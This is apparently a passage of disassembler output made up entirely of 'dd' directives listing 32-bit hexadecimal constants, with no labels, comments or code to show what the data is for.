		dd 0D67612B5h, 81E9F533h, 76B4C443h, 2050935Dh,	3AA450EFh
		dd 0D03AAADEh, 0BB012A1Bh, 4EF08993h, 2F58E1F4h, 73CB2710h
		dd 0F25F853Ah, 0AB453615h, 85371718h, 9FFDD054h, 5BA7D546h
		dd 0A78F107Bh, 694A4425h, 79DBB264h, 0E95A59B5h, 0D20F5E78h
		dd 8905CCF9h, 0D12478F0h, 0F25A9036h, 209EB65h,	325C8F00h
		dd 3A7570C7h, 575AD792h, 7DF6240Dh, 3CAE7615h, 0DE8BAB1Bh
		dd 0B9D1DADEh, 37DE76FEh, 307B94A4h, 0B634BB83h, 82AB0D91h
		dd 66AF684Ch, 9792A863h, 0D8DD137Dh, 595D9D33h,	26F3B949h
		dd 42874550h, 45D7440Fh, 0E4CF1AB7h, 1041EB9Eh,	6F2C5207h
		dd 0F2B9FD4Ah, 0B5EB6B0Ah, 318DA3A2h, 4493161Fh, 0D8C98D8Fh
		dd 255AF9B2h, 7570387h,	1A5102CBh, 0D42A1393h, 0B6147E83h
		dd 0D65F9444h, 0F2411F13h, 528BD7Ch, 304036A5h,	0A8CCC43Ah
		dd 0D04CDC48h, 1C549ECAh, 0EFF9B25h, 77B341D2h,	51E6146Eh
		dd 0E893BD4Fh, 5C6E0340h, 972D807Fh, 5DB2ABE3h,	6F8B7EE1h
		dd 0B84A2BD7h, 7655818Dh, 0CA048B37h, 736AED70h, 0E758B963h
		dd 2D05E0C5h, 0DF082F8h, 8597CD7Eh, 11E800Fh, 0F1A91342h
		dd 20C2698Dh, 62861CE8h, 780D0B30h, 9A15CE4Ah, 75452D89h
		dd 0A2A59B4Ch, 53481BA5h, 0DBC43744h, 9C892A4Ah, 95F1E245h
		dd 0AD9A7C60h, 82DD34F7h, 24F0AE15h, 47BDBF86h,	8FBCDABEh
		dd 0F955251Ah, 17A4D871h, 0CA684A13h, 733CC6D8h, 0EF0EA0A5h
		dd 0D50221B6h, 6D05422Ah, 56362E45h, 7AE9F10Eh,	187929D9h
		dd 22878546h, 0F1AD835Eh, 0EA035132h, 2D3B23F0h, 0A8519551h
		dd 7DA7DCB9h, 0FC8807D3h, 47A3E69Ch, 0A76ED987h, 32C0A772h
		dd 34399476h, 1514C859h, 8B9E5E5h, 487B4F3Ah, 0B5A02A7Dh
		dd 1D68A0D9h, 6C91877Dh, 0A766A13Bh, 36551C6Fh,	744DFD14h
		dd 3D33CA51h, 404681ABh, 624E0CDBh, 426047EDh, 0BE3D5566h
		dd 0C2D44F71h, 0F13F7572h, 8E74C52Bh, 1254D492h, 3F9C6DFBh
		dd 9053E5D0h, 8CD8792Dh, 123D3B5Eh, 3811F218h, 149D4F0h
		dd 85A7A159h, 0F97603Fh, 193D46h, 96400FD5h, 0CA451FA9h
		dd 3CB7AFCEh, 856DC940h, 4E9C540Fh, 8FB44B90h, 0A2A80C30h
		dd 0DF571A1Eh, 684D8DD7h, 48E9DB5Ah, 87181687h,	0E6237CABh
		dd 5C9EE9D5h, 21033F40h, 0AB0E79DCh, 0AE3BDE0Ah, 0AB1E3EACh
		dd 2EF58102h, 0A63677EDh, 0C8DA2E82h, 28E2E2EEh, 4D087A87h
		dd 0BF7B8892h, 0DBE0092Ch, 590DBC05h, 4A475694h, 0C1D611BAh
		dd 3339B429h, 851F7CECh, 70437CBBh, 17DDF420h, 2E256F81h
		dd 14EE1A1h, 0DFA67247h, 40FA43B5h, 0C40AE05Eh,	25D70816h
		dd 23197C53h, 0FFC56ECFh, 0AFCA115h, 316A1D27h,	0E72FEB07h
		dd 993D2BAh, 0A06FBC05h, 0BE2353F8h, 7CF21764h,	0D380721Dh
		dd 17755036h, 0F3324018h, 0B2AB0830h, 0A3EB4244h, 0ABE2AD12h
		dd 0D8CDC557h, 0E65321B3h, 27CB1DABh, 0B6B51E07h, 0C8D520E5h
		dd 12A723AAh, 0EF50F53Ch, 0E88178D0h, 0A7981491h, 0F370BA6Ah
		dd 0AE48DB66h, 5461B8E7h, 65CE0C66h, 0A8860281h, 1A0663AFh
		dd 0AA7D822Ah, 17191607h, 0B6D8ADDBh, 7C410425h, 0FC631DE5h
		dd 0FD720917h, 2B25DBE5h, 3A30AA91h, 0C852A644h, 0BC28B619h
		dd 0B682B3A0h, 366E6ED3h, 9D2372B7h, 9B0C83B0h,	4378F534h
		dd 9619BB35h, 0E83D047Ah, 0F9EE221Dh, 814AADA0h, 9109A288h
		dd 58D13983h, 0AC65D144h, 6EF09DADh, 0A4FF9DF5h, 8979850h
		dd 9D069EFDh, 6EFBD980h, 0DEBE12ACh, 97093C22h,	9F944220h
		dd 0F90DDC05h, 61FA5F01h, 554F1302h, 616A290Ah,	23F75E28h
		dd 7653AA2Ah, 88C8EE20h, 0E9D44CBEh, 3FD43561h,	0B0F4DCD6h
		dd 0F8EFD8FBh, 2FA79B8Dh, 3B5A945Fh, 0FE8BCF34h, 0C4A9BFB4h
		dd 363B0E75h, 8D53F947h, 933912CFh, 0AA92582h, 47C58E08h
		dd 0A0543B6h, 3983DF72h, 0B9AF0B67h, 34036C60h,	658FC3ECh
		dd 0A8A3FDB3h, 5D847C8Ah, 2C2BE4D9h, 0A678CF09h, 0B50C2317h
		dd 812B9E13h, 9CA2E30Fh, 879537D0h, 21952CD7h, 0FAE8FCA6h
		dd 58EECEC3h, 5AAA4A42h, 4985AD80h, 0A9D4D975h,	3AC25A09h
		dd 0B8D37D89h, 526701AFh, 32BF5D86h, 2C69970Eh,	1FED84DCh
		dd 0E7A2915Bh, 8B8B54Ah, 7C694CA1h, 5FC0DE35h, 10AA51B3h
		dd 895D545h, 12B5C7AEh,	538DFFE4h, 77C6F839h, 16EBD3D2h
		dd 4747FDCFh, 1BC66093h, 17516B57h, 58001F7Dh, 7E866F09h
		dd 7C3491A1h, 5C97282Eh, 0B5855314h, 0C281B5D4h, 0BF7E3EB2h
		dd 41E2CFBh, 417F8DF9h,	1A2F3311h, 0B4BB49D4h, 0C9991976h
		dd 532B5CF8h, 33C4E3E3h, 86A02402h, 55EADE4Fh, 7BED436Fh
		dd 376288E7h, 0F33E6010h, 71EC9D66h, 15A8414Ah,	37A88473h
		dd 0C2B5FF9Eh, 63186D30h, 0C46C16CDh, 58CEF544h, 0FBCFEC9Dh
		dd 2DA864CCh, 99A7AA00h, 0ADF420A5h, 682C43F5h,	15104FAEh
		dd 0EBF2DF25h, 0ADF217CDh, 0BF7D7B30h, 68CD1834h, 7BA5FFF4h
		dd 4071E1ECh, 0E611EBFCh, 6B729E5Fh, 0EA5E8110h, 119F4D75h
		dd 0D1D67423h, 0BB7446C3h, 0DC5599B7h, 0BC604D1h, 204747FEh
		dd 0E807CFBFh, 91BADAA9h
		dd 63381366h, 0AC36D952h, 51FD7917h, 0FF91129Dh, 658FE4EFh
		dd 22AA9ED4h, 187C542Ch, 0A102E01Bh, 78958C6Fh,	78B4F250h
		dd 0A27B67C9h, 8133D811h, 5E3CC0BBh, 10E0AE54h,	734074DCh
		dd 910BBF1Fh, 4258E7h, 0B50DC84Bh, 0D358D6A7h, 0F806AF4Ah
		dd 6DFA2C84h, 462655C5h, 9E80F4A3h, 41242306h, 0DF9BB1E3h
		dd 3E621620h, 8445C2B6h, 8257D4CBh, 69822FC2h, 20CCDE3h
		dd 0EBA80174h, 4B29C0EDh, 0F8A4D30Dh, 3D083BA6h, 0BCB352BFh
		dd 36C863BFh, 56198FF3h, 79C2DB6Ch, 375AE59Eh, 8C7FF58Ch
		dd 0C1926B3Eh, 5B94DC43h, 68311A16h, 2DA26A7Bh,	9076903Bh
		dd 19D48FAFh, 8622B391h, 44A6D4D8h, 959EC682h, 0F6BDA9CCh
		dd 5613FC71h, 0CACF03F7h, 653185BEh, 74A130A8h,	0ECC008ECh
		dd 0E3896B44h, 0AF7E1176h, 7E6D06E1h, 12A4ED0Ah, 0F40E35ACh
		dd 6FBA1DFCh, 7D9FDC33h, 5F994F77h, 3966B303h, 572E3DE2h
		dd 9E60735Ch, 0CE59613Ah, 0B9A8D12Ch, 47A851E1h, 0C5F01A2Ah
		dd 92027E1Ah, 0BE182FBEh, 0F40C45F2h, 0DA032747h, 8331E3Fh
		dd 0CEBF13EFh, 0BAA78C35h, 0C852296Dh, 16A11C6Eh, 165E2BB3h
		dd 5E713C1Ch, 0A2FE0C5h, 16D2272Fh, 85F067B7h, 5AE6DD59h
		dd 560FBD52h, 282CEDE5h, 547117DAh, 6F277A40h, 0A18FD938h
		dd 60B87291h, 0CB34BAA9h, 2180AEFh, 9B16BF22h, 414529DEh
		dd 5A11D62Dh, 0BB2EB494h, 7297E547h, 6AA716C3h,	23DA262Ah
		dd 0B171DACFh, 15E1200Ch, 925E301Dh, 6A6A58F6h,	0D0BA0276h
		dd 390E8772h, 4FA8A02Bh, 0DE2220FDh, 0E16CFCCAh, 0C2385685h
		dd 2C46A885h, 1D98A88Eh, 97EC40Eh, 79560FD1h, 307DCBA4h
		dd 76ECA2E5h, 162BE9ADh, 710C0428h, 0E6C50123h,	2C9B3EB0h
		dd 0A19EFAB5h, 0D38FC0F0h, 15060821h, 87C57E51h, 9F040726h
		dd 0B62DBECDh, 27AF2594h, 3341766Bh, 0ECD30565h, 2CCF02D3h
		dd 0D5CDE1D5h, 0E88534A5h, 0BB2DC548h, 0F377B2A5h, 39AB3DF3h
		dd 0F5E53BD6h, 95D7A505h, 41C7AEADh, 0F749318Ch, 41461838h
		dd 1BB16E72h, 7DDFFAh, 26807072h, 37D6DA4Fh, 9766B742h
		dd 0DCE81EF1h, 4E0CB742h, 0A9477531h, 0FDC217F3h, 44DFE882h
		dd 4D0ABEEAh, 0C5EBA9Dh, 72311939h, 4E302E4Dh, 0B6B5905Dh
		dd 0B81139B1h, 6E845CAEh, 97995ECBh, 0A47C4F7Dh, 0B6CB395Ch
		dd 806BA476h, 7055EFFAh, 53F058h, 0D3388753h, 0FA7121AAh
		dd 4869D355h, 0AA07D91Eh, 3AB1238h, 0D24EADB9h,	7F22F2C0h
		dd 0BD0C9F93h, 0B99F98F8h, 92F52D63h, 3231F708h, 7C9C28D8h
		dd 6CD919E1h, 0B2EA449Bh, 0DCD345BFh, 5970FBB1h, 865887E6h
		dd 0C5C8F7C8h, 3F467B76h, 908A92C3h, 0BAB776A8h, 0B4494A80h
		dd 8C6C3BDCh, 5259F850h, 4286EE3Bh, 0DACB6A5Ch,	9A811E24h
		dd 0FC258B20h, 0C3ED70E4h, 0D7F00AFBh, 6E1A6EE8h, 0DA1F75A1h
		dd 558434BEh, 0E2086F1Ah, 840C6CEDh, 6C25EDEDh,	9E6E6BBFh
		dd 0B6811DF4h, 607737ADh, 0AEE06F38h, 7385B479h, 0AF8CED9Fh
		dd 35FF527Dh, 0BE595A75h, 64360D0h, 738C88F3h, 8A6CAC6Ch
		dd 0F1C296A5h, 760DA156h, 76D573E8h, 0D16FAF4Fh, 11DE36E1h
		dd 0F30EF21Bh, 30D01488h, 94212F17h, 6B501961h,	0DE2F12D7h
		dd 0D5622A9Fh, 0AB87D05Bh, 0BC7C97F6h, 5FD51E95h, 0BF76F38Bh
		dd 75947079h, 0CF773D56h, 1E312B85h, 50EAEF5Eh,	0EA3A5248h
		dd 19F30953h, 834A48F4h, 0F250A5A1h, 300C5BC2h,	0F9DA634h
		dd 763B9297h, 5183FECFh, 0A804BEB8h, 0FD4B4CBDh, 9230594h
		dd 9B86B5A3h, 0C69BB65Fh, 3D36887Fh, 3FF787A1h,	6FBF8D4Eh
		dd 0BD3E581Eh, 0B790659Dh, 2AAA3D5Dh, 19DEE0B7h, 0AC3A1D3Bh
		dd 8E9F828Bh, 38F44B1Eh, 76D8F9F2h, 41DE11C6h, 46318CBCh
		dd 0DDD7ABDFh, 10D09FD2h, 0EC4BD20Bh, 258792F3h, 8FFEB199h
		dd 3BA46B2Fh, 0F63CAC0Dh, 0CDFF2F1Dh, 7FF0B050h, 5073A949h
		dd 0BB668F5Bh, 2B777F47h, 8636534Dh, 598B8724h,	85AF9B3Dh
		dd 0AAE15310h, 77E84EDFh, 8D3BB3F8h, 0FC3E1F33h, 30DD44D0h
		dd 0FA81EE50h, 0A025D586h, 0C55AD823h, 87B8A525h, 0BB64E6F9h
		dd 0AADBF36Eh, 0B6F64C7Ah, 7A6E7A81h, 76E3405h,	0E9C937ACh
		dd 65B5142Ah, 68106E1Fh, 15EB9824h, 0B594408Eh,	0B9690B0Dh
		dd 1243D488h, 82E0AA5h,	0A164EC43h, 0C6B477A2h,	473A251Fh
		dd 6384F06Eh, 2B53517h,	0C49DB814h, 829673E2h, 0DE0B2572h
		dd 8481D9D3h, 8BAB9899h, 9C1ED4D5h, 0F42308F2h,	527F76D8h
		dd 9D48C6C7h, 5EE93956h, 0E425E5B8h, 49949407h,	8B8CC137h
		dd 8ABC6D4Dh, 15ACB2AEh, 60312B04h, 70AA205Bh, 0D7C32443h
		dd 6DE89286h, 0C521937Eh, 44CD6E67h, 0A0D48F78h, 4CC40067h
		dd 51086B6Dh, 825A114Ah, 9AAD2F48h, 669F7C0Ch, 0F3232108h
		dd 2F06C50Ch, 678B7EF9h, 5EF7BB52h, 611AD6CAh, 6D70AE2Ch
		dd 2E6EA33Ah, 6855303Dh, 0E96F9943h, 1A485EA3h,	8B4397C5h
		dd 0A989F195h, 0B82C4126h, 57B86EA2h, 28371D6Eh, 7145E1BDh
		dd 8CDC7FD9h, 0FF655F38h, 0E8699BB4h, 0CE9CFE90h, 0CD63B597h
		dd 0FEEC32E2h, 0F9BD9CFEh, 9CAD1492h, 940923E6h, 6D76797Dh
		dd 3DC98CC8h, 603A8BB1h, 922D95A4h, 0A06A8423h,	2204BD63h
		dd 8F883EAEh, 0F8545376h, 5099CE08h, 3C6ACCD9h,	40E04161h
		dd 0F51FE6Eh, 8A6A022Eh, 73EA2523h, 0CF675Ch, 0B4C44161h
		dd 81F45F26h, 2C10062Dh, 0A54BC8A2h, 6FC2F3FFh,	8325953Bh
		dd 1F2F0A16h, 35391E1Eh, 7C5D3EF8h, 69509F3Ch, 7FC79344h
		dd 0AB5B2B2Ch, 7FF3BEBFh, 0B00DCEB2h, 5302C827h, 443CE1C7h
		dd 3B3A8766h, 0A78F15B6h, 0ADBCF8Eh, 44B2F69Ah,	68C032E5h
		dd 1852724Bh, 217875Fh,	0FE1F0035h, 8B906E0Eh, 0B0A6182h
		dd 91EE938Bh, 57D918CAh, 0F6C1D98Ch, 61E527DAh,	3C4599D2h
		dd 0E28E589Fh, 7D99C290h, 9FAD15A4h, 0F8F7BB1Fh, 87BFD47Dh
		dd 8A242395h, 140C7580h, 716E1212h, 0EE5819B0h,	0AA61EED4h
		dd 48C99623h, 974E0410h, 0E3CB30E0h, 5F1F7BC5h,	0A2378B93h
		dd 8FF46677h, 0CEB3E7DFh, 1C989115h, 9D528CFDh,	0F6D15B57h
		dd 0F080B6A5h, 78231D07h, 0F4FC825Eh, 8D6BBDC7h, 61BB43Fh
		dd 0C428C013h, 10C737BAh, 2253B90Bh, 0F0EC54EEh, 0DBCCD3F1h
		dd 72F8EE68h, 0F6F58DF6h, 1164FB3Eh, 0E287DF2h,	8AEE7995h
		dd 8F241B9Ch, 0EA04D5F9h, 9B95A57Dh, 0DAB7C36Bh, 0DE534E32h
		dd 0D7C1CB45h, 128499C7h, 6683D54Fh, 0EF5EECFBh, 3FDDD3EFh
		dd 6546317Dh, 0CC00877Ah, 3C137DB5h, 16EF602Dh,	0CD8A7FD0h
		dd 969E723Bh, 0FD9A8720h, 0AA65F754h, 0CAF111B8h, 0A0E16996h
		dd 23797DE3h, 372D1CEFh, 0C79DE48Ch, 31863B64h,	0A84E02D5h
		dd 5BBB6F6Ch, 193D2413h, 0DDC48775h, 0C475849Ch, 5942BC99h
		dd 0B7D3A5DAh, 0DF9DFDD0h, 0CB982E5Bh, 21659359h, 6B7B8730h
		dd 0E70E8A84h, 0E0085496h, 0C39E08E6h, 7FD860BFh, 0BD151D15h
		dd 87043B34h, 0E4DDB17Eh, 0E1DC1B43h, 0A9BC89EBh, 4DD75645h
		dd 0B17DD056h, 98A2C10Ah, 903E80B4h, 90C4B939h,	74ECF2B8h
		dd 0E249D5E3h, 89F0EB8Ah, 1A92A2EFh, 2B07B10Dh,	9C0AE385h
		dd 0AEF12AB5h, 67A5CD62h, 7818056Ah, 409088F0h,	658901B8h
		dd 6F6C428h, 9A6E41ABh,	73AE4E20h, 6AA761B9h, 9B59EFF1h
		dd 0C29DACC4h, 2CC010B5h, 0AB025658h, 9BACE12Dh, 1356FF58h
		dd 4036A9ECh, 0A0646B26h, 3B2668FAh, 464F2AB9h,	0BB7BB259h
		dd 7217C99Bh, 16FEB07Eh, 0CDD9F696h, 0D7871E1Dh, 0EB0D407Bh
		dd 34686D68h, 8B9C7D4Ch
		dd 979B5B9Bh, 0DDFD29C6h, 0CC8362FCh, 0F81B026h, 90CE7E62h
		dd 0C3CC8C85h, 243A3B08h, 31F7B034h, 6F83C450h,	0A265E1A1h
		dd 0C9A69416h, 0DA5824A2h, 8CB51D31h, 0E6D030ACh, 518EEC17h
		dd 0A7C8A019h, 15C11A74h, 0ECAB3AC3h, 0D6CABF93h, 54595C64h
		dd 0C18A77E0h, 4AA1E2EBh, 3942AE68h, 0C52B3A41h, 0C6C82B11h
		dd 0A4FBA923h, 5EA205ECh, 442E6924h, 5F97864Ah,	4BDBDF0Fh
		dd 7C3ED55Eh, 6B63B044h, 72FCC784h, 518C8B9Ch, 0F7920F02h
		dd 0F7250D1h, 3329D4A8h, 240C24D6h, 0FC598980h,	474B1BC9h
		dd 0FF4158Dh, 7FFBADFh,	9CB9918Bh, 484015F8h, 98CEAC1Bh
		dd 0F7E018D6h, 893C0893h, 0A5DBB4B5h, 15C806E6h, 0A901BBE0h
		dd 0E337977Ch, 9A45949Eh, 0CC15B0DBh, 1E817FFFh, 7166E1F3h
		dd 0DCA5F2F6h, 426A1270h, 36FF6F6Eh, 351FDA4Ch,	0AF399584h
		dd 31A6330Fh, 0A148C7CAh, 9B30E44Fh, 0C67AF9B6h, 9364EED9h
		dd 3002B29Dh, 516C6C57h, 0F58C2D7Eh, 0E3E0D849h, 81F5ABECh
		dd 0C250C27Fh, 1E2BBCBCh, 0C7B06DBCh, 0DDBACDD1h, 8176FCDBh
		dd 7948B4E1h, 0E0987DADh, 4E707BC4h, 27AF579Eh,	75359499h
		dd 6ED012F1h, 4AC8318Fh, 0FE9B2AF2h, 0DECEBC76h, 30ACAFDh
		dd 9A3B584Eh, 5865F72Fh, 0C55784F5h, 0FB4A3862h, 7ABF9244h
		dd 0FDB09AA2h, 20C42E22h, 9E40B5EAh, 23950CFDh,	2D59282Bh
		dd 0A956AAC9h, 905FE6BBh, 0DC2F5F7Ah, 3C538E4Dh, 314A37A5h
		dd 0D5AA22E4h, 2E866531h, 85FF9141h, 0D71338CBh, 53F5DE0h
		dd 3BFED33Fh, 0A3EF8B2Bh, 0DB6BC25Dh, 0DFDCE6CBh, 0B6C3DCEBh
		dd 0C52D3FF2h, 0CDCF24EFh, 413A49DCh, 69D3AD13h, 0CFD4EC0Ah
		dd 79F743D3h, 37387DE6h, 0EFF77766h, 524C21D4h,	35FC6122h
		dd 76E44F8Eh, 2AF7490Bh, 93CB86DFh, 77D42F1Ch, 0CC193463h
		dd 0B2AC2E08h, 2CA79125h, 0A6887154h, 0B637E588h, 8300B004h
		dd 593961AFh, 0E5985BFh, 0F3DA4CECh, 84399751h,	11FD02E6h
		dd 9BF9EB55h, 8A30463Ah, 99815CE3h, 64DB2B19h, 0D13B6A52h
		dd 71B1154Dh, 417F4822h, 558617Bh, 401E87A3h, 6433DD01h
		dd 4E39F9D8h, 43E95127h, 0ED0974B2h, 8AFEB6AEh,	43F291F4h
		dd 8872AC4h, 0D67DE743h, 0C522D5E1h, 9CB9BF3Ah,	1E313DD7h
		dd 3B2C6DE3h, 0BBE342D7h, 3BCCDD9Eh, 934289D9h,	197E4948h
		dd 86E9A669h, 90BC07CCh, 98E7724h, 78181BA7h, 7441875h
		dd 38046F40h, 3E4999CFh, 0D3DCD4F0h, 0A52810Ch,	7A83556Eh
		dd 34EB5FC2h, 0E168B467h, 85B30F56h, 0BD3E947Fh, 0C837D88Fh
		dd 5F6D2012h, 29E2C5EBh, 0ADFFAF37h, 0AB3EC077h, 0C3F41B28h
		dd 55D84ABEh, 54FF898Eh, 0D5E39962h, 71D7200Ah,	0CA25D91Dh
		dd 226A2F09h, 9531E066h, 0FD135C4Ch, 96EFF026h,	0CEA4846Eh
		dd 5488CBAFh, 0AFC9CC9Eh, 5577EB82h, 0AA6EC895h, 0BEBD15F4h
		dd 14C8706Ch, 3AB29709h, 37C0BA84h, 0A582C2A9h,	730B5686h
		dd 0F544D117h, 928F70C5h, 0CA9007BCh, 0B1926BFCh, 7BE35861h
		dd 6A18C525h, 0B55E3AF9h, 79E1FEF9h, 6037ABEEh,	0C4CAE036h
		dd 0F4115CA2h, 1D916A6Ch, 647AB631h, 0B6561E63h, 608F16B3h
		dd 87EA4AFDh, 0B0A42E88h, 89A0F6DDh, 5F0ED4DFh,	9D42B20Bh
		dd 0F0BD2FC8h, 0DDABF321h, 7D5FE436h, 83EA91BBh, 4A935FAFh
		dd 0CB73527Fh, 0F89C8F89h, 0AE60C7D3h, 0DFB62AEDh, 8B2340FEh
		dd 0CB966CECh, 71A3B9C2h, 20E5338Bh, 0CD33284Ch, 6C0C128Ah
		dd 3A66BB52h, 4F4C9A0Ah, 8C5166F9h, 115B8h, 0D551E259h
		dd 9C0A3E97h, 18016424h, 84748BA4h, 0A0F84BD2h,	0B4E04E5Ah
		dd 29C31066h, 0D444F32Eh, 2001C192h, 0BA810810h, 1572557Ch
		dd 0AE0AD88Dh, 4F94AC25h, 97C276DCh, 0B179ACF9h, 498433FFh
		dd 78AD7943h, 0B82752DBh, 0EFC81579h, 0B56796FBh, 42B14443h
		dd 0D5E2BA3h, 0C6AB19B1h, 0A7A5D907h, 56B70EDFh, 6A4524EBh
		dd 0CE7D49C4h, 0DAD77CF5h, 0A4E51997h, 0A3498791h, 84E4AF85h
		dd 39001919h, 0C6802024h, 0E7879D8Ah, 4AF2D47Fh, 96D409D7h
		dd 3CE11FA9h, 0BA7A8EE5h, 5A130784h, 3C4A79F1h,	1ACA85B2h
		dd 10281F26h, 736846F8h, 0E722DFB6h, 0A4354C85h, 1EC29954h
		dd 2910E61Dh, 1FA65FBDh, 5A2CB6Eh, 43EF4819h, 3125C233h
		dd 87DA4D80h, 4C4D8D64h, 0D2012933h, 0E0C256D2h, 0A0F0862Bh
		dd 0C417271Ah, 42A454EBh, 2A1CA4h, 7141E67Fh, 0E3624D90h
		dd 84AFF916h, 4890837Dh, 0FEC651AFh, 36834C64h,	1769C82Eh
		dd 0B0708030h, 16344AFDh, 0D442E47Dh, 66A9621Fh, 93E33EF1h
		dd 0D2A11F48h, 0E095FE18h, 4DC37F8Eh, 34066508h, 0C209B970h
		dd 0AE6AE82Dh, 8590E495h, 77EEA8EBh, 0EC23B1F3h, 0FB893F23h
		dd 0A0D98A8Bh, 4382D10Ch, 0BBBC739Eh, 3ACB397Bh, 0A2F9AB0Fh
		dd 0EB772BF9h, 0B551B096h, 0A2CD059Eh, 0E53B607Ch, 8D406E72h
		dd 511AE38h, 0AAB0D8BAh, 16FE83B6h, 0CBCF86D1h,	0DB292073h
		dd 8BD936EDh, 0B70FFC92h, 72E293C0h, 7AF967BFh,	11D3D5FCh
		dd 9EF7E904h, 0E2DA5425h, 0C34788A9h, 31F63A1Ah, 99CAA981h
		dd 25CDA520h, 0C448138h, 6DDA75BCh, 13979811h, 0B78FCC55h
		dd 0C1924CA0h, 77133BA8h, 5D960CCAh, 33E7A393h,	83ABF07Dh
		dd 0CA96AA4Ah, 9E6E250Ch, 6189AFA2h, 48A41AAEh,	9192DEB7h
		dd 917DF846h, 57CC855h,	87BF025Ch, 0C682B80Dh, 0CEAA6F5Ch
		dd 7BDE7840h, 75391564h, 0D79E2FF5h, 635981B0h,	0EBB332CDh
		dd 65404925h, 0FB3153Ch, 0F9F37D00h, 0E9499B5Fh, 0E4CD0637h
		dd 2CB85EDBh, 0A16BEC57h, 934D5CFCh, 0E3141EF2h, 0EB2907D3h
		dd 3997B5B8h, 79069147h, 925D3E1Bh, 8FC4B6C9h, 0B2CA4A2Ah
		dd 4E4CDC45h, 0ACF57AF7h, 0A0EBEF3Bh, 43C4C85Fh, 5F2C1C4h
		dd 0FBB815DCh, 3A0E1203h, 10FAFF09h, 17FFCCA7h,	80642745h
		dd 732A4094h, 5D75C3DAh, 0D076E54Bh, 93C23B7Ah,	4148881Eh
		dd 0C6DF334Eh, 0FC95767Ah, 610BF919h, 347F484Bh, 570AF5D8h
		dd 57F16FDCh, 8F17A13Fh, 7070499Ah, 0C9B65B88h,	0DA5F69B8h
		dd 0C0E50F2Fh, 0C6F1D61Dh, 0BB95CCCCh, 0FE9290F2h, 7BB17CB9h
		dd 98002F45h, 0E8A5852Ch, 0B7AD0014h, 0CB7C7BFh, 85CF989Ah
		dd 2D7EF157h, 4767A0A8h, 741C312Fh, 5C383CB4h, 76D51039h
		dd 7FFA5C4h, 9E04D711h,	8A43AB79h, 21EDED0Dh, 0CAF4CCBh
		dd 13677351h, 0B93A6DF0h, 956D17D4h, 2582FF3Ah,	65BDB49h
		dd 3AD26BEDh, 0F450ED2Ah, 3EA9AF4Ah, 0CE4D5C4Dh, 5A5D4388h
		dd 6ABB10AAh, 8F59DC28h, 49DB71C2h, 95B44749h, 0E52F93A8h
		dd 9E1B5070h, 2811D426h, 8AC6FF05h, 14D09955h, 60197E03h
		dd 0AD46DF73h, 4F96351Fh, 0C911F4B3h, 699F58F4h, 81B58EB9h
		dd 0BB72D920h, 7D4AED5Eh, 8B821404h, 87D92480h,	5EF54DE5h
		dd 50FFF5FDh, 0B3780215h, 7E474994h, 0BA2C69C2h, 5DF1747Ch
		dd 805BAC29h, 0EAFD0780h, 0F5BA797Dh, 86B2D2CEh, 0E12FC445h
		dd 0E625F834h, 3CF055EBh, 69870DB5h, 4BAAD17Ch,	79693E13h
		dd 3F8BD68Ch, 47108126h, 37778Eh, 2418CFECh, 0CB3FE562h
		dd 5964F041h, 0F00C8D03h, 0EF09DB10h, 0BD8A648Fh, 0CAA6BD23h
		dd 0E3CCD318h, 4F7E85E2h, 0AD1E294Bh, 24C91948h, 0C80DA8BCh
		dd 4749CCCh, 2C0F086h, 6FFCC726h, 5406FECDh, 1D580665h
		dd 0BFE55D9Fh, 0D0090776h, 0E22D608Bh, 9D9EC011h, 4DC291B8h
		dd 0B365693Bh, 6432635Ch, 0F766557Ch, 0C89F72C1h, 0F5A33FE5h
		dd 0DC17888h, 53456435h, 894AFED7h, 84EECF9Ah, 0E0853B07h
		dd 6930F1CAh, 0D453AC39h
		dd 9C1C7F6Fh, 3E131617h, 13BD4652h, 9897FF41h, 0BE2871Ah
		dd 0CD16F7D9h, 124A626Bh, 6D8DA921h, 28EB7448h,	72C8921Ah
		dd 0E38D3EAAh, 5C4849E3h, 8B0A8DCAh, 0B691B8E6h, 4836C51Bh
		dd 0B0D9CF69h, 8101AA30h, 0F6B1C03Eh, 0B7D46B68h, 1D522ACEh
		dd 0B598AB95h, 0BD78F76Dh, 0E72D87A0h, 1E98768Ch, 2004CF5Dh
		dd 1147A53Ah, 15CBB558h, 2BD0B27Ah, 43671717h, 0DDA16886h
		dd 71FFA16Bh, 7A39A83Fh, 0C8AEAFF5h, 0EE358A11h, 3F9123A5h
		dd 0ECE2F941h, 13C6F7C5h, 8A81C817h, 0EB2C280Eh, 2802A191h
		dd 9EB2070Fh, 229DC0BEh, 1A579E17h, 0B10E87EEh,	3CD27141h
		dd 0CB981891h, 675C3C1Ch, 21AD4904h, 663E06B1h,	3254D2F1h
		dd 84F5C856h, 0A5B7F5F3h, 0B6D6B10Eh, 0E08097B3h, 1885EE9Ah
		dd 99570194h, 4DA09A92h, 0C89D794h, 2481025h, 298A2D41h
		dd 0C7E77D8h, 3C7D320Bh, 11AD0369h, 3A072F02h, 96C07AC5h
		dd 0E3EBF3CBh, 95C2BE90h, 0E0DDA671h, 1B10E111h, 0EDCD0E1h
		dd 0CA0A407Fh, 1040A6DBh, 501099B0h, 0D8D0AAE7h, 3514FC8Bh
		dd 44A95872h, 0BCEC5C24h, 89658F61h, 35BB0CEFh,	0F0E55CFFh
		dd 7BC8F0A5h, 0D4D43EA6h, 988C6D6Dh, 0EF566B11h, 0E2304421h
		dd 5B78EB9Ah, 0BBFE5E33h, 0DCAAC8F2h, 0F61738E1h, 9417B614h
		dd 1EBDB42Dh, 0FA75DEACh, 5A2943AFh, 168D2251h,	125C4632h
		dd 32A89ADDh, 811BD735h, 0ADEAEE2Ah, 97CAD372h,	0DCEBC201h
		dd 34D230F5h, 9DCC6E22h, 0D7C0C80Ch, 4521FC65h,	0FDEBFD9Eh
		dd 0D0B35A3Ch, 3DDAD9ADh, 0A4DC6BBh, 2F80C4ECh,	84BE406Dh
		dd 60417961h, 79EA03D4h, 57EE399Ah, 0C26DD2BEh,	0DBFCA214h
		dd 0E7A40CE4h, 8B856546h, 7DD5131Fh, 0B6362B8Ch, 0FD5CCA39h
		dd 0F792C860h, 6F57EA21h, 0AD35A839h, 0C800231Ah, 5BF6EDC8h
		dd 55601C1Fh, 4EEA7ADBh, 0CB969B46h, 0BEE3F859h, 2D824432h
		dd 0F1FE9CAEh, 63251D57h, 2B69008Ah, 269455D8h,	99B74691h
		dd 42F92AB0h, 1B053B8Ah, 3A4C52CCh, 0E4CC8D41h,	828C896Dh
		dd 0B501789Ch, 13F1312Bh, 0AE27B2E6h, 6CD4093Ah, 0B452C506h
		dd 0EC949940h, 0C4655036h, 9313B43Bh, 0C585A994h, 1E5FF257h
